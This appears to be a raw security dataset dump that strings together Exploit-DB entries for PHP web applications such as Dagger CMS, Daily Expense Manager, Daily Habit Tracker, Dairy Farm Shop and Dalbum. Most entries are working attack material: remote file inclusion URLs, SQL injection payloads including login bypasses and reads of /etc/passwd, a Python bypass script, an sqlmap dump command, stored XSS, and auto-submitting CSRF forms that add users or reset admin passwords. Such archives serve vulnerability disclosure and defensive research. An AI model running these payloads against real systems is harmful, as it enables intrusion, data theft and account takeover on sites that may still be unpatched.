deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5916
Description: Dagger CMS 2008 - 'dir_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-23
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Remote File Include ]                         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : Dagger CMS             ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????


http://localhost/path/skins/default.php?dir_inc=[SHELL]


??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-23]
Exploit-DB #4097
Description: dagger Web engine 23jan2007 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-24
Author: Katatafish

Exploit:
###Dagger-web engine(cal.func.php)Remote File Inclusion###

#download:
http://kent.dl.sourceforge.net/sourceforge/dagger/dagger_r23jan2007.
zip

#found by: katatafish (karatatata@hush.com)

#code:  (cal.func.php)
include($dir_edge_lang.'cal_lang.inc.php');

#exploit:
http://www.site.com/[path]/cal.func.php?dir_edge_lang=[SHELL]

#Thanks: str0ke

# milw0rm.com [2007-06-24]
Exploit-DB #41544
Description: Daily Deals Script 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Daily Deals Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 07.03.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software : http://www.icloudcenter.com/daily_deals_site.htm
# Demo: http://icloudcenter.net/demos/icgroupdeals/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/deal.php?id=[SQL]
# # # # #
Exploit-DB #51973
Description: Daily Expense Manager 1.0 - 'term' SQLi
Type: webapps
Platform: php
Date: 2024-04-08
Author: Stefan Hesselman

Exploit:
# Exploit Title: Daily Expense Manager 1.0 - 'term' SQLi
# Date: February 25th, 2024
# Exploit Author: Stefan Hesselman
# Vendor Homepage: https://code-projects.org/daily-expense-manager-in-php-with-source-code/
# Software Link: https://download-media.code-projects.org/2020/01/DAILY_EXPENSE_MANAGER_IN_PHP_WITH_SOURCE_CODE.zip
# Version: 1.0
# Tested on: Kali Linux
# CVE: N/A
# CWE: CWE-89, CWE-74

## Description
Daily Expense Manager is vulnerable to SQL injection attacks. The affected HTTP parameter is the 'term' parameter. Any remote, unauthenticated attacker 
can exploit the vulnerability by injecting additional, malicious SQL queries to be run on the database.

## Vulnerable endpoint:
http://example.com/Daily-Expense-Manager/readxp.php?term=asd

## Vulnerable HTTP parameter:
term (GET)

## Exploit proof-of-concept:
http://example.com/Daily-Expense-Manager/readxp.php?term=asd%27%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6--%20-

## Vulnerable PHP code:
File: /Daily-Expense-Manager/readxp.php, Lines: 16-23
<?php
[...]
//get search term
$searchTerm = $_GET['term']; # unsanitized and under control of the attacker.
//get matched data from skills table
$query = $conn->query("SELECT * FROM expense WHERE pname like '%$searchTerm%' AND uid='$sid' and isdel='0' group by pname");
while ($row = $query->fetch_assoc()) {
    $data[] = $row['pname'];
}
//return json data
echo json_encode($data);
?>
Exploit-DB #47213
Description: Daily Expense Manager 1.0 - Cross-Site Request Forgery (Delete Income)
Type: webapps
Platform: php
Date: 2019-08-08
Author: Mr Winst0n

Exploit:
# Exploit Title: Daily Expense Manager - CSRF (Delete Income)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: August 8, 2019
# Vendor Homepage: https://sourceforge.net/projects/daily-expense-manager/
# Tested Version: 1.0
# Tested on: Parrot OS


# PoC:

<html>
<body>
	<form action="http://server/homeedit.php?delincome=778" method="post">
		<input type="submit" value="Click!" />
	</form>
</body>
</html>
Exploit-DB #48730
Description: Daily Expenses Management System 1.0 - 'username' SQL Injection
Type: webapps
Platform: php
Date: 2020-08-04
Author: Daniel Ortiz

Exploit:
# Exploit Title: Daily Expenses Management System 1.0 - 'username' SQL Injection
# Exploit Author: Daniel Ortiz
# Date: 2020-08-01
# Vendor Homepage: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html
# Tested on: XAMPP Version 5.6.40 / Windows 10
# Software Link:  https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html

import sys
import requests
import urllib3
import re
import time


urllib3.disable_warnings(urllib3.exceptions.InsecurePlatformWarning)

def make_request(url, payload):
    
    p = {"http":"127.0.0.1:8080", "https": "127.0.0.1:8080"}
    s = requests.Session()
    r = s.post(url, data=payload, proxies=p)
    return r

if __name__ == '__main__':

    if len(sys.argv) != 2:
        print("[*] Daily Expenses Management System | username SQL injection")
        print("[*] usage: %s  TARGET" % sys.argv[0])
        print("[*] e.g: %s  192.168.0.10" % sys.argv[0]) 
        sys.exit(-1)

    TARGET = sys.argv[1]
    LOGIN_FORM = "http://%s/dets/" % TARGET
    
    
    # Step 1 - Bypass login form

    url = LOGIN_FORM
    p1 = {'email': "admin' or '1'='1'#", 'password': 'admin', 'login': 'login'} 
    r = make_request(url, p1)
    print("[+] Endpoint: %s") % LOGIN_FORM
    print("[+] Making requests with payload: %s") % p1

    if re.findall('Dashboard', r.text):
        print("[+] Target vulnerable")
    else:
        print("[-] Error !!!")
Exploit-DB #51953
Description: Daily Habit Tracker 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2024-04-02
Author: Yevhenii Butenko

Exploit:
# Exploit Title: Daily Habit Tracker 1.0 - SQL Injection
# Date: 2 Feb 2024
# Exploit Author: Yevhenii Butenko
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2024-24495

### SQL Injection:

> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.

### Affected Components:

> delete-tracker.php

### Description:

> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.

## Proof of Concept:

### Manual Exploitation

The payload `'"";SELECT SLEEP(5)#` can be employed to force the database to sleep for 5 seconds:

```
GET /habit-tracker/endpoint/delete-tracker.php?tracker=5'""%3bSELECT+SLEEP(5)%23 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
```

![5 seconds delay](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/sqli.png?raw=true)

### SQLMap

Save the following request to `delete_tracker.txt`:

```
GET /habit-tracker/endpoint/delete-tracker.php?tracker=5 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
```

Use `sqlmap` with `-r` option to exploit the vulnerability:

```
sqlmap -r ./delete_tracker.txt --level 5 --risk 3 --batch --technique=T --dump
```

## Recommendations

When using this tracking system, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.
Exploit-DB #51952
Description: Daily Habit Tracker 1.0 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2024-04-02
Author: Yevhenii Butenko

Exploit:
# Exploit Title: Daily Habit Tracker 1.0 - Stored Cross-Site Scripting (XSS)
# Date: 2 Feb 2024
# Exploit Author: Yevhenii Butenko
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2024-24494

### Stored Cross-Site Scripting (XSS):

> Stored Cross-Site Scripting (XSS) is a web security vulnerability where an attacker injects malicious scripts into a web application's database. The malicious script is saved on the server and later rendered in other users' browsers. When other users access the affected page, the stored script executes, potentially stealing data or compromising user security.

### Affected Components:

> add-tracker.php, update-tracker.php

Vulnerable parameters: 
- day 
- exercise 
- pray 
- read_book 
- vitamins 
- laundry 
- alcohol 
- meat

### Description:

> Multiple parameters within `Add Tracker` and `Update Tracker` requests are vulnerable to Stored Cross-Site Scripting. The application failed to sanitize user input while storing it to the database and reflecting back on the page.

## Proof of Concept:

The following payload `<script>alert('STORED_XSS')</script>` can be used in order to exploit the vulnerability.

Below is an example of a request demonstrating how a malicious payload can be stored within the `day` value:

```
POST /habit-tracker/endpoint/add-tracker.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/habit-tracker/home.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

date=1992-01-12&day=Tuesday%3Cscript%3Ealert%28%27STORED_XSS%27%29%3C%2Fscript%3E&exercise=Yes&pray=Yes&read_book=Yes&vitamins=Yes&laundry=Yes&alcohol=Yes&meat=Yes
```

![XSS Fired](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/xss.png?raw=true)

## Recommendations

When using this tracking system, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.
Exploit-DB #13865
Description: Daily Inspirational Quotes Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-14
Author: Valentin

Exploit:
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Daily Inspirational Quotes Script SQL Injection Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Daily Inspirational Quotes
Author = Ed Pudol
Link = http://www.buymyscripts.net/10/Daily_inspirational_quotes_web_site_script_and_database.html
Affected Version(s) = unknown

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 SQL Injection
target/tellafriend.php?id=[SQL Injection]


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 14.06.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #48787
Description: Daily Tracker System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-09-03
Author: Adeeb Shah

Exploit:
# Exploit Title: Daily Tracker System 1.0 - Authentication Bypass
# Exploit Author: Adeeb Shah (@hyd3sec) & Bobby Cooke (boku)
# CVE ID: CVE-2020-24193
# Date: September 2, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/download-code?nid=14372&title=Daily+Tracker+System+in+PHP%2FMySQL
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4

# Vulnerable Source Code

if(isset($_POST['login']))
{
$email=$_POST['email'];
$password=md5($_POST['password']);
$query=mysqli_query($con,"select ID from tbluser where  Email='$email' && [CREDENTIAL_REDACTED]    ' ");
$ret=mysqli_fetch_array($query);
if($ret>0){
 $_SESSION['detsuid']=$ret['ID'];
 header('location:dashboard.php');
}
 else{
 $msg="Invalid Details.";
 }
}
?>


# Malicious POST Request to https://TARGET/dets/index.php HTTP/1.1
POST /dets/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.65.130/dets/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
DNT: 1
Connection: close
Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s
Upgrade-Insecure-Requests: 1

email='+or+1%3d1+--+hyd3sec&[CREDENTIAL_REDACTED]=login
Exploit-DB #50365
Description: Dairy Farm Shop Management System 1.0 - SQL Injection Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-01
Author: Sanjay Singh

Exploit:
# Exploit Title: Dairy Farm Shop Management System 1.0 - SQL Injection Authentication Bypass
# Date: 2021-09-30
# Exploit Author: sanjay singh
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/dairy-farm-shop-management-system-using-php-and-mysql/
# Version: v1.0
# Tested on: Windows 10

Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/dfsms/index.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step 4 – Change the username to admin' or '1'='1  and password to dfsms
Step 5 – Click forward and now you will be logged in as admin.

POC

POST /dfsms/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://localhost
Connection: close
Referer: http://localhost/dfsms/index.php
Cookie: PHPSESSID=hgjvarn4tie1nmsufdn8mf1hrl
Upgrade-Insecure-Requests: 1

username=admin%27+or+%271%27%3D%271&[CREDENTIAL_REDACTED]=
Exploit-DB #30509
Description: Dalai Forum 1.1 - 'forumreply.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-08-20
Author: DarKdewiL

Exploit:
source: https://www.securityfocus.com/bid/25361/info

Dalai Forum is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts. 

http://www.example.com/forum/forumreply.php?chemin=../../../../etc/passwd
Exploit-DB #35635
Description: Dalbum 1.43 - 'editini.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-19
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47427/info

Dalbum is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Dalbum 1.43 is vulnerable; other versions may also be affected.

http://www.example.com/editini.php?album=/Sample%20album/&url=[xss]
Exploit-DB #18685
Description: dalbum 144 build 174 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-03-30
Author: Ahmed Elhady Mohamed

Exploit:
dalbum 144 build 174 and earlier CSRF Vulnerabilities
===================================================================================
# Exploit Title:dalbum 144_174 and earlier CSRF Vulnerabilities
# Vendor: http://www.dalbum.org/
# Download link :http://www.dalbum.org/index.php?go=Downloads
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# version: 144 build 174
# Category: webapps
# Tested on: ubuntu 11.4 
# This vulnerability allows a malicious hacker to add a user 
  delete a user and change password of a user 
===================================================================================
CSRF VUlnerabilities :

POC 1:

	<html>
	<head>
	<title>  Add a user </title>
	<script>
		function CSRF() {
			document.getElementById('CSRF').click();
		};
	</script>
	</head>
	<body onLoad="CSRF()">
		<form action="http://127.0.0.1/photo/pass.php" method="post" />
		<input name="user" value="CSRF" type="hidden" />
		<input name="pass" value="123" type="hidden" />
		<input name="passc" value="123" type="hidden" />
		<input type="hidden" name="action" value="add">
		<input type="submit" id="CSRF" name="submit" value="Submit">
	</form>
	</body>
	</html>

POC 2:

	<html>
	<head>
	<title>  Change user's password  </title>
	<script>
		function CSRF() {
			document.getElementById('CSRF').click();
		};
	</script>
	</head>
	<body onLoad="CSRF()">
	<form action="http://127.0.0.1/photo/pass.php" method="post" />
		<input name="user" value="admin" type="hidden" />
		<input name="pass" value="111" type="hidden" />
		<input name="passc" value="111" type="hidden" />
		<input name="change" value="Change password" type="hidden" />
		<input type="hidden" name="action" value="change">
		<input type="submit" id="CSRF" name="submit" value="Submit">
	</form>
	</body>
	</html>

POC 3:

	<html>
	<head>
	<title>  Delete a user  </title>
	<script>
		function CSRF() {
			document.getElementById('CSRF').click();
		};
	</script>
	</head>
	<body onLoad="CSRF()">
	<form action="http://127.0.0.1/photo/pass.php" method="post" />
		<input name="user" value="a" type="hidden" />
		<input type="hidden" name="delete" value="Delete">
		<input type="submit" id="CSRF" name="submit" value="Submit">
	</form>
	</body>
	</html>
Exploit-DB #30533
Description: Dale Mooney Calendar Events - 'Viewevent.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-27
Author: s0cratex

Exploit:
source: https://www.securityfocus.com/bid/25456/info

Calendar Events is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/viewevent.php?id=-1' union select 1,load_file('/etc/passwd'),1,1/*
Exploit-DB #13830
Description: DaLogin - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-06-11
Author: hc0

Exploit:
dalogin 2.2 multiple vulnerabilites
app desc: Configurable WebSite. PHP + Mysql: news zone with rss feed,
private zone, languages, themes, administration panel
app source: http://dalogin.sourceforge.net/
author: hc0

[1] config file disclosure
you can access config.ini file from [path]/admin/include/config.ini
this file contains mysql connection informations (user, pass, host etc..)
its says "come here and ownz by box!!"

[2] sql injection
at line 115 requested http parameter id use in sql query without filtering.

114 - //LEER COMENTARIOS
115 - $Sql="SELECT * from news_comments WHERE id_new=".$_REQUEST['id']."
AND state=1";
116 - $result_comments = mysql_query($Sql);
117 - while ($row_comments=mysql_fetch_array($result_comments))
118 - {
119 - echo '<table class="CommentTable">';
120 - echo '<tr>
121 - <td
width="100px">'.strftime(DATE_TIME_FORMAT,strtotime($row_comments['date_comment'])).'

122 - <br /><b>'.$row_comments['user_name'].'</b>
123 - </td>
124 - <td class="CommentTableImg">
125 - '.$row_comments['comment'].'
126 - </td>
127 - </tr>';
128 - echo '</table><br />';
129 - }

[3] xss

181 - function InsertComment()
182 - {
183 - global $link;
184 - $Sql="INSERT INTO news_comments
(id_new,comment,date_comment,state,user_name) VALUES
(".$_REQUEST['id'].",'".$_POST['comment_text']."',Now(),0,'".$_POST['comment_user']."')";

185 - mysql_query($Sql);
186 - echo '<div class="CommentAlert" style=" background-color:
#c5fbcd">'.COMMENT_SENT_LABEL.'</div>';
187 - }

you need post a comment that includes your xss attack payload and its saved
database. its so simple :)

[4] just for fun i'm so bored..................